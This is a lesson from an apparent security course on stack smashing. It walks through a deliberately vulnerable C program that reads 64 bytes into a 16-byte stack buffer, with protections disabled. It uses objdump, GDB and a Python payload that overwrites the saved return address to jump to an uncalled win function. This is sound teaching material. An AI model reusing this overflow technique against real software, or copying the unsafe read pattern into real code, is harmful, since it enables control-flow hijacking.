Skip to content
Courses

Stack Overflows and Return Addresses

Stack SmashingLesson 4 of 775 minutesLessonNo lab next

In the previous lesson, we followed a function call all the way back to its caller. With an ordinary input, the program below does exactly what we’d expect from that explanation.

There is something odd about it, though: it has a function named win that nothing in main or read_label calls. It only prints a message and exits, which is a fairly modest idea of winning, but having a function with no apparent way to reach it gives us something interesting to investigate. First, let’s run the program normally.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void win(void)
{
puts("You changed the plan.");
exit(0);
}
void read_label(void)
{
char label[16];
read(STDIN_FILENO, label, 64);
}
int main(void)
{
puts("Enter a label:");
read_label();
puts("Returned to main.");
return 0;
}

Create a fresh working directory, save the program as stack-path.c, and build it in the Ubuntu terminal:

Terminal window
gcc -g -O0 -fno-omit-frame-pointer -fno-stack-protector -no-pie -z noexecstack stack-path.c -o stack-path

GCC may complain about the call to read. That warning is expected for this example, so keep it in mind as we look at the program. We can leave the details of the compiler flags for later in the course.

This walkthrough was checked with GCC 13.3.0 on Ubuntu 24.04 x86-64. Another compiler or different build options can change the instructions, offsets, and addresses, so use the course VM for the walkthrough.

Run it and enter a short label such as LIMES:

Terminal window
$ ./stack-path
Enter a label: LIMES
Returned to main.

So far, that agrees with the source: main called read_label, the function accepted the input, and execution returned to the line after the call. win is still sitting there unused.

In the source, STDIN_FILENO is the standard-input file descriptor, whose value is zero on this system. The read call therefore accepts up to 64 bytes from the same input stream you used at the prompt, despite label having room for only 16.

Let’s put that ordinary run on a diagram. We can follow the calls and returns from the source, including the second message that tells us we’re back in main:

The ordinary call and return
Simplified program flowFrom main, the ordinary run calls read_label, reads input, and returns to main to print and exit. The separate win function is not called by this path. Boxes name points in the program, not complete memory and register snapshots.startmainbefore the callcallread_labelread inputretmainprint and exitnot called by this pathwinprint and exit

This simplified flow follows the calls in the supplied source. Runtime and library code are omitted. The executable contains win, but this path never calls it. On narrow screens, scroll the diagram horizontally to follow the whole path.

That leaves win off to one side. It exists in the program, but there’s no call to it on the path we just followed. Keep that distinction in mind: being present and being reached are two different things.

The source tells us that read_label returns to main, but the CPU still needs the saved information we followed in the last lesson. Let’s look underneath that return and find the frame the call set up:

  1. Before the call: main reaches call read_label at 0x4011d3.
  2. call read_label: The CPU saves 0x4011d8, moves rsp down eight bytes, and enters read_label.
  3. push rbp: read_label moves rsp down again and saves main’s frame pointer.
  4. mov rbp,rsp: rbp moves to the base of the new frame without changing memory.
  5. sub rsp,0x10: rsp moves down sixteen bytes, reserving two eight-byte slots for label.

These are the operations from Anatomy of a Stack Frame, now serving read_label rather than add. Follow the saved address, 0x4011d8, as the new frame takes shape:

Rebuild the ordinary call first

Each box holds eight bytes. Blue underlines mark changed values; outlined pointer labels show which pointers moved.

Starting state in main

Before call

Stack memory

Part of the process's flat memory space. Every box is eight bytes. Addresses mark the bottom edge.

mainread_label

Higher addresses ↓ stack grows

  1. main's frame pointercontents not shown
  2. main's stackcontents not shown
  3. main's stackcontents not shown
  4. Available stack slotcontents not shown
  5. Available stack slotcontents not shown
  6. Available stack slotcontents not shown
  7. Available stack slotcontents not shown

Lower addresses

Registers

Stack addresses and instruction locations are hexadecimal.

rip
0x4011d3 · call read_label
rsp
0x7fff00f0
rbp
0x7fff0100
rax
not shown

rsp → 0x7fff00f0 in stack memory

rbp → 0x7fff0100 in stack memory

main is ready to call read_label. The return address has not been saved yet.

After call read_label

Save where main will continue

Stack memory

Part of the process's flat memory space. Every box is eight bytes. Addresses mark the bottom edge.

mainread_label

Higher addresses ↓ stack grows

  1. main's frame pointercontents not shown
  2. main's stackcontents not shown
  3. main's stackcontents not shown
  4. Saved return addressd8 11 40 00 00 00 00 00main: after call
  5. Available stack slotcontents not shown
  6. Available stack slotcontents not shown
  7. Available stack slotcontents not shown

Lower addresses

Registers

Stack addresses and instruction locations are hexadecimal.

rip
0x401197 · read_label entry
rsp
0x7fff00e8
rbp
0x7fff0100
rax
not shown

rsp → 0x7fff00e8 in stack memory

rbp → 0x7fff0100 in stack memory

call moved rsp down eight bytes, stored 0x4011d8 at that address, and moved execution into read_label. rbp still belongs to main.

After push rbp

Save the caller’s pointer

Stack memory

Part of the process's flat memory space. Every box is eight bytes. Addresses mark the bottom edge.

mainread_label

Higher addresses ↓ stack grows

  1. main's frame pointercontents not shown
  2. main's stackcontents not shown
  3. main's stackcontents not shown
  4. Saved return addressd8 11 40 00 00 00 00 00main: after call
  5. Saved main rbp00 01 ff 7f 00 00 00 000x7fff0100
  6. Available stack slotcontents not shown
  7. Available stack slotcontents not shown

Lower addresses

Registers

Stack addresses and instruction locations are hexadecimal.

rip
0x40119c · mov rbp, rsp
rsp
0x7fff00e0
rbp
0x7fff0100
rax
not shown

rsp → 0x7fff00e0 in stack memory

rbp → 0x7fff0100 in stack memory

push moved rsp down another eight bytes and stored main’s frame pointer there. rbp itself has not changed yet.

After mov rbp, rsp

Set the frame pointer

Stack memory

Part of the process's flat memory space. Every box is eight bytes. Addresses mark the bottom edge.

mainread_label

Higher addresses ↓ stack grows

  1. main's frame pointercontents not shown
  2. main's stackcontents not shown
  3. main's stackcontents not shown
  4. Saved return addressd8 11 40 00 00 00 00 00main: after call
  5. Saved main rbp00 01 ff 7f 00 00 00 000x7fff0100
  6. Available stack slotcontents not shown
  7. Available stack slotcontents not shown

Lower addresses

Registers

Stack addresses and instruction locations are hexadecimal.

rip
0x40119f · sub rsp, 0x10
rsp
0x7fff00e0
rbp
0x7fff00e0
rax
not shown

rsp → 0x7fff00e0 in stack memory

rbp → 0x7fff00e0 in stack memory

rbp now points to the saved frame-pointer slot at 0x7fff00e0. rsp and the stack contents stayed the same.

After sub rsp, 0x10

Reserve space for label

Stack memory

Part of the process's flat memory space. Every box is eight bytes. Addresses mark the bottom edge.

mainread_label

Higher addresses ↓ stack grows

  1. main's frame pointercontents not shown
  2. main's stackcontents not shown
  3. main's stackcontents not shown
  4. Saved return addressd8 11 40 00 00 00 00 00main: after call
  5. Saved main rbp00 01 ff 7f 00 00 00 000x7fff0100
  6. label[8–15]contents not shown
  7. label[0–7]contents not shown

Lower addresses

Registers

Stack addresses and instruction locations are hexadecimal.

rip
0x4011a3 · lea rax, [rbp-0x10]
rsp
0x7fff00d0
rbp
0x7fff00e0
rax
not shown

rsp → 0x7fff00d0 in stack memory

rbp → 0x7fff00e0 in stack memory

rsp moved down sixteen bytes, reserving two eight-byte slots for label. rbp and the stored values stayed the same.

Each address labels the lowest byte of its box, at the bottom edge. Pointer arrows meet that address. Dashed boxes are outside the active stack; their old bytes can remain. Code addresses are verified; stack addresses are illustrative.

The absolute stack addresses are illustrative because your process may put its stack somewhere else. The frame has:

  • Two eight-byte slots for label.
  • One holding the saved rbp.
  • One holding 0x4011d8.

That last value is the address immediately after call, where ret will take us back into main. The spacing between these slots is what we’ll need next.

The C source tells us that label holds sixteen bytes, but it does not show where the compiler placed it relative to the saved return address. objdump will show us the instructions in read_label:

Terminal window
objdump -d -Mintel ./stack-path | sed -n '/<read_label>:/,/^$/p'

There’s more in the listing, but for now we’re interested in the instructions that establish the frame and later take it down:

40119b: push rbp
40119c: mov rbp,rsp
40119f: sub rsp,0x10
4011a3: lea rax,[rbp-0x10]
...
4011b4: call 401070 <read@plt>
4011ba: leave
4011bb: ret
  • sub rsp,0x10 reserves sixteen bytes for label.
  • lea rax,[rbp-0x10] gives read the beginning of that space.
  • The source allows read to store up to sixty-four bytes there.

Immediately above the sixteen bytes reserved for label are eight bytes for the saved rbp, followed by the saved return address. This layout belongs to the build in front of us, so count the slots instead of treating 24 as a standard offset.

The frame has four eight-byte slots:

The four slots in read_label

Byte offsets from the start of label. Higher addresses at the top.

  1. Offsets 24–31
  2. Offsets 16–23
  3. Offsets 8–15
    label[8–15]8 bytes
  4. Offsets 0–7
    label[0–7]8 bytes

Region heights are not to scale. Pointers show the established frame, before teardown.

The first sixteen bytes fill label, and the next eight replace the saved frame pointer. That puts the saved return address at offset 24, so bytes 24 through 31 occupy its slot.

I use A for every byte in this first input because its byte value is 0x41, so eight of them appear as 0x4141414141414141 in the debugger and are easy to recognize if the input reaches the return slot.

Save this as probe.py:

from pathlib import Path
probe = b"A" * 32
Path("probe.bin").write_bytes(probe)
print(f"wrote {len(probe)} bytes")

Generate the file and run the program with it:

Terminal window
python3 probe.py
./stack-path < probe.bin

The program prints its prompt and then crashes. On the course VM, the shell reports a segmentation fault and may also mention that a core was dumped.

Well, that isn’t the return we were expecting. The missing message tells us we didn’t get back to main, but a segmentation fault doesn’t explain which part went wrong. Let’s follow the write through the frame and compare that picture with what the debugger shows.

Follow the write, one byte at a time

Each cell is one byte. Increase the write from 0 to 32 bytes and watch where it crosses the sixteen-byte label buffer.

Stack memory · read_label

Higher addresses ↑ Write moves upward ↑

Saved return addressOffsets 24–31
d811400000000000
Saved value
Saved frame pointerOffsets 16–23
0001ff7f00000000
Saved value
label[8–15]Offsets 8–15
????????????????
label[0–7]Offsets 0–7
4141414141414141

Lower addresses ↓ Start at offset 0

Inside the buffer

All 8 written bytes fit inside label. Neither saved value has changed.

Within each row, offsets increase left to right. After its last cell, the write continues in the row above.

Byte values are hexadecimal: 41 is A, and ?? means an unwritten buffer byte whose original value is unknown. Written bytes are underlined; writes beyond the buffer also turn blue.

This shows changes to memory during the write. Overwriting the saved return address does not itself change the instruction pointer; the function has not returned yet.

About the saved values and this layout

These are saved values in memory, not live registers. The starting frame pointer is illustrative; the return address matches the recorded build. In this little-endian layout, the first byte overwritten changes the rightmost pair of hex digits.

This build places the saved frame pointer at offset 16 and the saved return address at offset 24. Byte 17 first crosses the buffer boundary; byte 25 first reaches the return slot; byte 32 completes its overwrite. Other builds can have different layouts. This read example adds no string terminator.

The write passes through three parts of the frame:

  • The first sixteen bytes stay within label.
  • The next eight replace the saved frame pointer.
  • The last eight replace 0x4011d8 with 0x4141414141414141.

read copies across all four rows because they are adjacent in memory. Their different roles only matter when later instructions use them.

Stop at ret and inspect the eight bytes named by rsp:

Terminal window
gdb -q ./stack-path
(gdb) break *0x4011bb
(gdb) run < probe.bin
(gdb) x/gx $rsp
0x...: 0x4141414141414141

rsp points at the eight A bytes from the end of the probe, which shows that the input reached the saved return slot and supplied the value ret is about to use.

Leave GDB with quit, confirming when it asks.

The ordinary run and the crashing run both reach the same ret instruction at 0x4011bb; the value at rsp is what differs.

  • Short input: the bytes at rsp are 0x4011d8, so ret continues in main.
  • Thirty-two-byte probe: the bytes at rsp are 0x4141414141414141. That is not a usable instruction address in this process, so the program faults instead of continuing in main.

The ordinary return depends on the saved address remaining in the return slot. The probe shows that input can replace it, although a row of A bytes gives us a crash rather than a useful destination.

Look back at win. What value would the return slot need to contain for ret to take us there?

The code for win is already in the executable, so use nm to find its address in the symbol table:

Terminal window
nm -n ./stack-path | grep ' win$'
0000000000401176 T win

The first twenty-four bytes take us to the return slot. Replace the final eight A bytes with 0x401176 in the form the processor expects. Python’s pack("<Q", value) handles that conversion for us. Save this as payload.py:

from pathlib import Path
from struct import pack
DESTINATION = 0x401176
payload = b"A" * 24 + pack("<Q", DESTINATION)
Path("input.bin").write_bytes(payload)
print(f"wrote {len(payload)} bytes")

Generate the input:

Terminal window
python3 payload.py
wrote 32 bytes

The first twenty-four bytes are unchanged from the probe, while the final slot now contains the address of win instead of 0x4141414141414141.

Execution is still inside read_label, so changing the return slot has not changed rip yet. Follow leave and ret from that starting point:

Follow the return into win

Each box holds eight bytes. Blue underlines mark changed values; outlined pointer labels show which pointers moved.

Before leave

Input complete

Stack memory

Part of the process's flat memory space. Every box is eight bytes. Addresses mark the bottom edge.

mainread_label

Higher addresses ↓ stack grows

  1. main's frame pointercontents not shown
  2. main's stackcontents not shown
  3. main's stackcontents not shown
  4. Saved return address76 11 40 00 00 00 00 00win
  5. Saved main rbp41 41 41 41 41 41 41 410x4141414141414141
  6. label[8–15]41 41 41 41 41 41 41 41AAAAAAAA
  7. label[0–7]41 41 41 41 41 41 41 41AAAAAAAA

Lower addresses

Registers

Stack addresses and instruction locations are hexadecimal.

rip
0x4011ba · leave
rsp
0x7fff00d0
rbp
0x7fff00e0
rax
32

rsp → 0x7fff00d0 in stack memory

rbp → 0x7fff00e0 in stack memory

The input has already changed memory. rip is still inside read_label.

Inside leave: copy rbp into rsp

Move back to the saved frame pointer

Stack memory

Part of the process's flat memory space. Every box is eight bytes. Addresses mark the bottom edge.

mainread_label

Higher addresses ↓ stack grows

  1. main's frame pointercontents not shown
  2. main's stackcontents not shown
  3. main's stackcontents not shown
  4. Saved return address76 11 40 00 00 00 00 00win
  5. Saved main rbp41 41 41 41 41 41 41 410x4141414141414141
  6. label[8–15]41 41 41 41 41 41 41 41AAAAAAAA
  7. label[0–7]41 41 41 41 41 41 41 41AAAAAAAA

Lower addresses

Registers

Stack addresses and instruction locations are hexadecimal.

rip
0x4011ba · leave
rsp
0x7fff00e0
rbp
0x7fff00e0
rax
32

rsp → 0x7fff00e0 in stack memory

rbp → 0x7fff00e0 in stack memory

rsp now meets rbp at the saved frame-pointer slot. The label slots are outside the active stack, but their bytes remain. This is an explanatory view inside leave, not a separate instruction.

Finish leave: pop the saved value into rbp

Ready to return

Stack memory

Part of the process's flat memory space. Every box is eight bytes. Addresses mark the bottom edge.

mainread_label

Higher addresses ↓ stack grows

  1. main's frame pointercontents not shown
  2. main's stackcontents not shown
  3. main's stackcontents not shown
  4. Saved return address76 11 40 00 00 00 00 00win
  5. Saved main rbp41 41 41 41 41 41 41 410x4141414141414141
  6. label[8–15]41 41 41 41 41 41 41 41AAAAAAAA
  7. label[0–7]41 41 41 41 41 41 41 41AAAAAAAA

Lower addresses

Registers

Stack addresses and instruction locations are hexadecimal.

rip
0x4011bb · ret
rsp
0x7fff00e8
rbp
0x4141414141414141
rax
32

rsp → 0x7fff00e8 in stack memory

rbp → 0x4141414141414141, not a stack address in this frame

rbp now contains the overwritten saved value, so it no longer points into this frame. rsp advances eight bytes to the return slot; ret will read the destination there.

ret pops 0x401176 into rip

Execution reaches win

Stack memory

Part of the process's flat memory space. Every box is eight bytes. Addresses mark the bottom edge.

mainread_label

Higher addresses ↓ stack grows

  1. main's frame pointercontents not shown
  2. main's stackcontents not shown
  3. main's stackcontents not shown
  4. Saved return address76 11 40 00 00 00 00 00win
  5. Saved main rbp41 41 41 41 41 41 41 410x4141414141414141
  6. label[8–15]41 41 41 41 41 41 41 41AAAAAAAA
  7. label[0–7]41 41 41 41 41 41 41 41AAAAAAAA

Lower addresses

Registers

Stack addresses and instruction locations are hexadecimal.

rip
0x401176 · win
rsp
0x7fff00f0
rbp
0x4141414141414141
rax
32

rsp → 0x7fff00f0 in stack memory

rbp → 0x4141414141414141, not a stack address in this frame

The CPU’s next instruction comes from win. The old stack bytes remain visible here, but rsp has moved past them.

Each address labels the lowest byte of its box, at the bottom edge. Pointer arrows meet that address. Dashed boxes are outside the active stack; their old bytes can remain. Code addresses are verified; stack addresses are illustrative.

leave positions rsp at the changed return slot, just as it did during the ordinary run. ret then copies 0x401176 into rip, and the processor begins executing win. The return instruction is doing its usual job with a value supplied by our input.

Run the program with the new input:

Terminal window
./stack-path < input.bin
Enter a label:
You changed the plan.

There it is: win printed its message. We still haven’t added a call or branch to it in the source, but the program reached it anyway, using the value read by ret.

The thirty-two-byte input crossed the end of label, passed through the saved frame pointer, and replaced the saved return address. When read_label finished, ret used the replacement and execution continued in win, which is an example of stack smashing: writing beyond a stack buffer far enough to overwrite other values in the frame.

A challenge that supplies a win function and asks you to redirect execution into it is often described as ret2win. That is a name for the challenge, while the overwrite used to solve it is stack smashing.

If your run differs, don’t start changing the padding at random. Every value in the final input came from an earlier observation. To recover, work forward and stop at the first one that doesn’t match:

  • If either script does not report thirty-two bytes, regenerate its file before interpreting the result.
  • If your objdump offsets or nm address differ, restore the supplied source and exact build command.
  • If GDB still shows 0x4011d8 at rsp, check that you started the program with the intended input file.

Change the destination and explain the result

Section titled “Change the destination and explain the result”

The first twenty-four bytes determine which stack slot the input reaches, while the final eight determine the value ret uses. Change that value once more to check the explanation.

Then change only the destination. Replace DESTINATION in payload.py with 0x4011d8, the ordinary return address, regenerate input.bin, and predict the output before running it. The write still crosses the same four slots, but the final eight bytes now name the instruction where main normally continues.

Check the changed destination

The program should print Returned to main. instead of entering win. The write still crosses the same four slots, so the overflow is still present even though the return slot contains the ordinary continuation address again.

Restore DESTINATION = 0x401176 and regenerate the input when you’re done, so you’re back at the working example.

Knowledge check

Question 1 of 3

Why does an ordinary run return to main without entering win?

The same return instruction took part in each run, but it read a different saved value. We can now put the debugger’s view of those values alongside the output and explain the difference between the ordinary return, the crash, and the message from win.